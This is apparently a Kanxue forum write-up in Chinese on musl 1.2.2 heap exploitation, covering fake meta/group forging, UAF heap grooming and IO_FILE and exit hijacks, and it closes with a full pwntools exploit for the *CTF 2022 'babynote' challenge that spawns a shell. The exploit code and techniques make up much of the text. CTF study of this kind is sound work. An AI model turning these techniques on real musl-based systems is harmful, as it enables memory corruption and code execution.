本文为看雪论坛优秀文章
看雪论坛作者ID：Nameless_a
一
前言
看了0xRGZ师傅的博客，觉得自己是懂musl的，小摸了一篇手动编译测试musl1.2.2 meta dequeue特性（https://bbs.pediy.com/thread-274629.htm）。做题的时候发现自己学的和写的是1托4，利用和学机制真的不太一样，在照着xyzmpv师傅的博客复现今年*ctf的babynote的过程中逐行调试才恍然大物。在这里简单记录一下复现中学到的musl 1.2.2的利用手法。
二
常见利用手法
meta dequeue的利用
流程
一般是下面两种：
（1）free->nontrivial_free()->dequeue
（2）malloc->alloc_slot->dequeue
(触发详情可见笔者的musl手动编译测试文章或者0xRGZ师傅的文章)
效果
任意地址写
利用思路
meta dequeue是一个类似于glibc里面双链表结构bin取出堆块的unlink操作，源码如下：
(在/musl-1.2.2/src/malloc/mallocng/meta.h目录下)
如果我们劫持meta的pre和next，就可以达到无任何检查的unlink的任意地址写的操作。
利用过程
同样，从一个简单的demo入手：
（下述调试的偏移均未开ASLR保护的U2004环境，可以通过echo 0 > /proc/sys/kernel/randomize_va_space设置，然后偏移应该就是一样的了）
/*在musl-1.2.2目录下编译和链接：./obj/musl-gcc main.c -o testpatchelf --set-interpreter ./libc.so ./test(libc.so就用题目附件给的就好)*/void init(){setbuf(stdin, 0);setbuf(stdout, 0);setbuf(stderr, 0);}int main() {init();size_t *p1;p1=(size_t *)malloc(0x20); //1read(0,p1,0x10);free(p1);return 0;}
目标：给0x555555559f00赋值0x55555555b300
首先断在这个地方：
此时meta的构造如下：
发现此时这个meta指向自身，我们通过set指令修改它的pre和next：
set *0x55555555b298 = 0x555555559ef8set *0x55555555b2a0 = 0x55555555b300
修改过后，ni 发现会卡在一个地方：
但是我们发现dequeue其实是执行了的，也就是我们成功给0x555555559f00赋值0x55555555b300：
为啥会卡住呢？我们着重分析分析118行这里的源码。
这里的m是一个meta，而且是0x298的next，也就是0x55555555b300。mheap一下也能发现原来的0x298被换成了一个新的meta：
这里也提醒了我们，meta->mem即存group地址的地方是空的，也正是因为这个，在mozxv那行汇编引用[rax+8]就会卡住。于是我们考虑用set补充一下这个地方（将0xb340这个地址当作group）：
set *0x55555555b310 = 0x55555555b340set *0x55555555b314 = 0x5555
(不知道为啥这些地方set就只能一次4字节)
但还不够，group也要索引到meta，即group的首地址得存放meta的地址。这是因为malloc和free的时候存在get_meta的检查，部分源码如下：
const struct group *base = (const void *)(p - UNIT*offset - UNIT);//根据chunK获取group和meta p为chunk指针const struct meta *meta = base->meta;assert(meta->mem == base);//检查assert(index <= meta->last_idx);assert(!(meta->avail_mask & (1u<<index)));assert(!(meta->freed_mask & (1u<<index)));//通过bitmap进行两次检查，确保avail和freed mask的bitmap不会越界const struct meta_area *area = (void *)((uintptr_t)meta & -4096);//meta area和meta在一页内，meta area在页开头（实际就是清除了meta的十六进制低三位）assert(area->check == ctx.secret);//检查area中的secret
重点检查就是secret和meta->mem。secret也就是meta_addr & -0x4096（即低三位为0的地址），很幸运的是恰好这里就是screat：(0xb300清除后三位被称作meta_area的地方，与meta处于同一页中)
meta->mem也就是group的首地址，要设置成meta的地址。同样用set：
set *0x000055555555b340 = 0x55555555b300set *0x000055555555b340 = 0x5555
设置好过后，ni就能成功free然后实现任意地址写了。
meta queue的利用
上面介绍dequeue利用的时候，有个active[2]中的meta从0x298换成0x55555555b300，触发了dequeue实现了active[2]上面meta的替换。这是在active[2]非空的情况下的替换。但当active为空，我们又怎么让它凭空“长”一个meta出来呢？我们看看meta.h下的nontrivial_free函数（和前面的dequeue是一个函数）：
发现就是if和else if的关系，if那条分支其实检查的是mask是否符合条件（是否满了，要么全用了要么全free，这里肯定是检查是否已经用了的堆块全free），ok_2_free其实检查的是meta的free_able标记（因为其它条件基本能满足）：
只要满足free_able为0，就可执行else if分支。else if分支需要满足sc<48，伪造的时候注意即可，然后就是检查active[sc]上面的meta是否是即将加入的m，我们伪造的时候一般针对的是空的active，这里就直接通过了。然后就到了queue里面：
这里的phead其实就是active，m是即将被放入active的meta，执行的肯定是else的分支（因为active为空），然后我们就成功把伪造的meta m加入active[sc]了。malloc(sc*0x10)就能从伪造的meta找到伪造的group，然后从伪造的group取出堆块。
效果
实现任意地址申请
利用流程
当伪造的group的地址为我们想要修改的地址-0x10的时候，在满足条件的情况下，就能通过malloc(sc*0x10)申请出想要修改的地址进行修改。
下面谈谈如何伪造满足条件的meta和group实现任意地址申请：
（1）首先需要满足meta_area和meta处于同一页，一般都是采用申请大堆块使得通过mmap分配，然后通过padding使得meta_area和meta处于同一页。
（2）然后需要满足meta_area的首地址为screat，这个也好满足，在padding过后紧接着就行。
（3）伪造meta：伪造prev,next,mem，以及last_idx, freeable, sc, maplen四合一的一位。一般需要伪造两种meta（同一个，执行完一个功能过后通过复写切换），一种用来dequeue任意地址写修改最后fake_group的首地址为fake_meta的地址从而通过get_meta的检查；另一种严格保证不会被free掉，从而执行queue被加进active[sc]达成任意地址申请修改的目的。
（4）伪造group：首地址为fake_meta的地址，+0x8的active_idx一般修改为1即可。
（5）free(group+0x10)来执行nontrivial_free：总共执行两次。第一次dequeue将fake_group（即target-0x10）写入fake_meta，第二次queue将fake_meta加入active[sc]。
（6）malloc(sc*0x10)申请出target进行修改。
伪造的模板如下：（两种meta的区别本质上是通过修改四合一位来实现的，也就是在free(fake_chunk)的时候nontrivial_free走的是if还是else if）。
① 伪造meta
伪造dequeue-meta:```last_idx, freeable, sc, maplen = 0, 1, 8, 1#fake metafake_meta = p64(stdout - 0x18) # prevfake_meta += p64(fake_meta_addr + 0x30) # nextfake_meta += p64(fake_mem_addr) # memfake_meta += p32(0) + p32(0) # avail_mask, freed_maskfake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)fake_meta += p64(0) #duiqi```伪造queue-meta(或者伪造替换group时不希望meta被free):last_idx, freeable, sc, maplen = 1, 0, 8, 0 #freeable置0是为了拒绝ok to free校验，防止释放metafake_meta = p64(0) # prevfake_meta += p64(0) # nextfake_meta += p64(fake_mem_addr) # memfake_meta += p32(0) + p32(0) # avail_mask, freed_maskfake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)fake_meta += p64(0)
② 伪造group
fake_mem = p64(fake_meta_addr) # metafake_mem += p32(1) + p32(0)
③ 拼接payload
payload = padding ##页对齐payload += p64(secret) + p64(0) ## +p64(0)是为了补齐payload += fake_meta + b'n'
UAF
效果
任意地址泄露或者任意地址写
利用过程
musl的UAF和glibc的有点不太一样，这是因为musl的堆块free过后不会立马被再次使用。这是由meta的avail_mask和freed_mask限制的。申请group对应大小的堆块，会优先使用avail_mask上还是1的位置对应的堆块。当avail_mask变成0了会检测freed_mask是否为0，如果为0则该meta可以dequeue了（即malloc触发的dequeue），反之则会将avail_mask异或上freed_mask同时将freed_mask置为0，取出当前avail_mask从低到高第一个非0位对应的堆块作为malloc（或者其它内存申请函数）的返回值，并将该位置为0。
所以，musl的堆题处处充满了风水。举个栗子：
注意avail_mask和freed_mask，idx为1（group的第二个）的chunk此时是free状态，但是我们申请的话，其实是申请到idx为9的堆块。这就是musl管理chunk和glibc不太一样的地方，相应的UAF利用，比如idx为1的堆块存在UAF，我们想构造它既是note又是note上的关键位置（比如content这类能通过show函输泄露的地方），就只能等先取出idx为9的堆块才能申请出它了。
IO_attack
musl没有glibc的大多hook，但有我们pwnpwn人最喜欢的（白洋淀啥都喜欢十八）IO_FILE。下面给出一条链子供给参考：
puts->fputs_unlocked->fwrite_unlocked->__fwritex+142（call rax）
这里的rax是通过r12赋值的：
mov rax, qword ptr [r12 + 0x48]call rax
而r12：R12 0x7ffff7ffb280 (__stdout_FILE) ◂— 0x68732f6e69622f / '/bin/sh' /
那我们就可以利用meta dequeue&queue实现任意地址写__stdout_FIE。
伪造的IO_FILE模板如下：
fake_IO = b'/bin/shx00' # flagsfake_IO += p64(0) # rposfake_IO += p64(0) # rendfake_IO += p64(libc_base + 0x5c9a0) # closefake_IO += p64(1) # wendfake_IO += p64(0) # wposfake_IO += p64(0) # mustbezero_1fake_IO += p64(0) # wbasefake_IO += p64(0) # readfake_IO += p64(libc_base + libc.sym['system']) # write
其实就改了改三个点，flags，wend和write。原来的长这样：
改wend其实是因为在call rax之前还有这个检查：
exit_attack
同样给出一条参考链子（感谢CatF1y师傅的点拨）：
exit->stdio_exit_needed->stdio_exit_needed->close_file
最后的close_file长这样：
最终执行的是call [rbp+0x48]，在call之前贴心的把edx和esi给清空了，简直是给execve函数量身定制的。rdi是rbp，是在这个地方赋值的：
只要劫持ofl_head为一个可控的结构体（堆块或bss），在上面赋值就可以getshell。这样只需要meta dequeue的一次任意地址写并且函数里有exit就能getshell了。
三
例题：【*ctf2022】babynote
版本
./libc.so即可看查libc版本：
保护
ida
main
实现了增删查三种功能。
add
熟悉的结构题题，通过calloc申请0x20大小的note：
name和content都是自定大小的calloc堆块，黄色箭头的是chain上的note。这里的chain其实指这题的note之间是通过链表连起来的，有一个全局链表头global_note。通过头插法插入note（大家可以自行画图理解）。
find（也就是show）
这个函数的流程大体如下：
读入size和key，通过list_pass遍历chain，找到name_size和读入的size相同且name和key相同的note，返回给v3。然后通过大端序列显示v3的内容：
delet
也是通过list_pass寻找和输入的key以及size对应的note。重点放在下面的if和else分支，发现只有else分支会清除指针，if分支不会，也就是说当chain中的note不少于两个的时候就会存在UAF。通过这个UAF我们能创造一个既是note（记为A），同时也是一个note的content（记为B）的堆块，然后通过find打印B的content即可泄露libcbase和elfbase。由于musl libc的堆是静态堆，也就相当于泄露了堆地址（elfbase和heapbase泄露一个就行，这点和glibc是不一样的）。
利用流程：
已知存size为0x30的group最多能存10个堆块（0~9）
（1）通过find的calloc和free二连将avail_mask设置成0b1000000000，free_mask设置为0b0111111110：
（2）通过add（namesize=xxx,contentsize=0x28）将globa_note设置为B(idx=9)，同时B的content将被设置为A(idx=1)。
（3）delet B（同时A也会被删除，因为delet也会删除content），通过add更新A的name和content。
（4）通过find show B的content，即可泄露libcbase和elfbase
由于泄露是大端自序泄露，所以需要特殊的手法来操作exp接收的字符：
libcbase=u64(p64(int(r.recv(16),16),endianness="big")) - 0xb7d60后面还可以利用这个特性，通过find直接修改B的content为__malloc_context泄露secret（任意地址泄露）；或是改成合法的chunk（任意地址free）。
forget
利用思路
exp
# -*- coding: utf-8 -*-from platform import libc_verfrom pwn import *from hashlib import sha256import base64context.log_level='debug'#context.arch = 'amd64'context.arch = 'amd64'context.os = 'linux'io = lambda : r.interactive()sl = lambda a : r.sendline(a)sla = lambda a,b : r.sendlineafter(a,b)se = lambda a : r.send(a)sa = lambda a,b : r.sendafter(a,b)lg = lambda name,data : log.success(name + ":" + hex(data))def z():gdb.attach(r)def cho(num):sla("option: ",str(num))def add(namesz,name,notesz,note):cho(1)sla("name size: ",str(namesz))sa("name: ",name)sla("note size: ",str(notesz))sa("note content: ",note)def find(namesz,name):cho(2)sla("name size: ",str(namesz))sa("name: ",name)def delet(namesz,name):cho(3)sla("name size: ",str(namesz))sa("name: ",name)def remake():cho(4)def exp():global rglobal libcr=process("./babynote")libc=ELF('./libc.so')## leak libcbase && elfbaseadd(0x38,"a"*0x38,0x38,"a"*0x38)cho(4)for _ in range(8):find(0x28,"a"*0x28)add(0x38,"2"*0x38,0x28,"2"*0x28)add(0x38,"3"*0x38,0x38,"3"*0x38)delet(0x38,"2"*0x38)for _ in range(6):find(0x28,"a"*0x28)add(0x38,"4"*0x38,0x58,"4"*0x58)find(0x38,"2"*0x38)r.recvuntil("0x28:")libcbase=u64(p64(int(r.recv(16),16),endianness="big")) - 0xb7d60elfbase=u64(p64(int(r.recv(16),16),endianness="big")) - 0x4c40log.success("libcbase:"+hex(libcbase))log.success("elfbase:"+hex(elfbase))## set libcfuncmalloc_context = libcbase + 0xb4ac0mmap_base = libcbase - 0xa000fake_meta_addr = mmap_base + 0x2010fake_mem_addr = mmap_base + 0x2040stdout = libcbase + 0xb4280## leak secretfor _ in range(6):find(0x28,"a"*0x28)pd=p64(elfbase+0x4fc0)+p64(malloc_context)+p64(0x38)+p64(0x28)+p64(0)find(0x28,pd)find(0x38,"a"*0x38)r.recvuntil("0x28:")secret=u64(p64(int(r.recv(16),16),endianness="big"))lg("secret",secret)## set fake metaadd(0x28,"5"*0x28,0x1200,'n')last_idx, freeable, sc, maplen = 0, 1, 8, 1#fake metafake_meta = p64(stdout - 0x18) # prevfake_meta += p64(fake_meta_addr + 0x30) # nextfake_meta += p64(fake_mem_addr) # memfake_meta += p32(0) + p32(0) # avail_mask, freed_maskfake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)fake_meta += p64(0) #duiqi#fake groupfake_mem = p64(fake_meta_addr) # metafake_mem += p32(1) + p32(0)payload = b'a' * 0xaa0#fake meta areapayload += p64(secret) + p64(0)payload += fake_meta + fake_mem + 'n'find(0x1200,payload)## dequeue 2 set stdout_file -0x10 (where the final fake group)for _ in range(3):find(0x28,"a"*0x28)pd=p64(elfbase+0x4fc0)+p64(fake_mem_addr+0x10)+p64(0x38)+p64(0x28)+p64(0)add(0x38,"6"*0x38,0x28,pd)delet(0x38,"a"*0x38)## reset fake meta , free fake chunk 2 queue it(queue the fake meta)last_idx, freeable, sc, maplen = 1, 0, 8, 0 #freeable置0是为了拒绝ok to free校验，防止释放metafake_meta = p64(0) # prevfake_meta += p64(0) # nextfake_meta += p64(fake_mem_addr) # memfake_meta += p32(0) + p32(0) # avail_mask, freed_maskfake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)fake_meta += p64(0)fake_mem = p64(fake_meta_addr) # metafake_mem += p32(1) + p32(0)payload = b'a' * 0xa90payload += p64(secret) + p64(0)payload += fake_meta + fake_mem + b'n'##z()find(0x1200, payload)for _ in range(2):find(0x28, 'a' * 0x28)pd=p64(elfbase+0x5fc0)+p64(fake_mem_addr+0x10)+p64(0x38)+p64(0x28)+p64(0)add(0x38,"7"*0x38,0x28,pd)delet(0x38,"a"*0x38)## reset fake meta's group at stdout_file -0x10last_idx, freeable, sc, maplen = 1, 0, 8, 0fake_meta = p64(fake_meta_addr) # prevfake_meta += p64(fake_meta_addr) # nextfake_meta += p64(stdout - 0x10) # memfake_meta += p32(1) + p32(0) # avail_mask, freed_maskfake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)fake_meta += b'a' * 0x18fake_meta += p64(stdout - 0x10)payload = b'a' * 0xa80payload += p64(secret) + p64(0)payload += fake_meta + b'n'find(0x1200, payload)## calloc to edit stdout 2 IO_attackcho(1)sla('name size: ', str(0x28))sa('name: ', 'n')sla('note size: ', str(0x80))#sc为8fake_IO = b'/bin/shx00' # flagsfake_IO += p64(0) # rposfake_IO += p64(0) # rendfake_IO += p64(libcbase + 0x5c9a0) # closefake_IO += p64(1) # wendfake_IO += p64(0) # wposfake_IO += p64(0) # mustbezero_1fake_IO += p64(0) # wbasefake_IO += p64(0) # readfake_IO += p64(libcbase + libc.sym['system']) # write##z()sl(fake_IO)io()if __name__ == '__main__':exp()
不足之处
dequeue和queue的触发不止free这种，但笔者精力有限没能全部研究透彻（不过如果以后搞嵌入式真的需要研究这方面的漏洞的话再行分享hh）。但是比起glibc，musl的libc真的缩减了很多，属于是那种比赛的时候可以现找漏洞点的。所以没涉及的地方就交给读者自行研究了，感谢阅读。
参考链接
感谢xyzmpv师傅的题解以及0xRGz 师傅的musl源码解析！
*CTF babynote 复现_xyzmpv的博客-CSDN博客
（https://blog.csdn.net/weixin_45209963/article/details/124423573）
musl 1.2.2 总结+源码分析
（https://bbs.pediy.com/thread-269533-1.htm#msg_header_h3_8）
看雪ID：Nameless_a
https://bbs.pediy.com/user-home-943085.htm
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峰会官网：https://meet.kanxue.com/kxmeet-6.htm
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原文始发于微信公众号（看雪学苑）：小小做题家之——musl 1.2.2的利用手法
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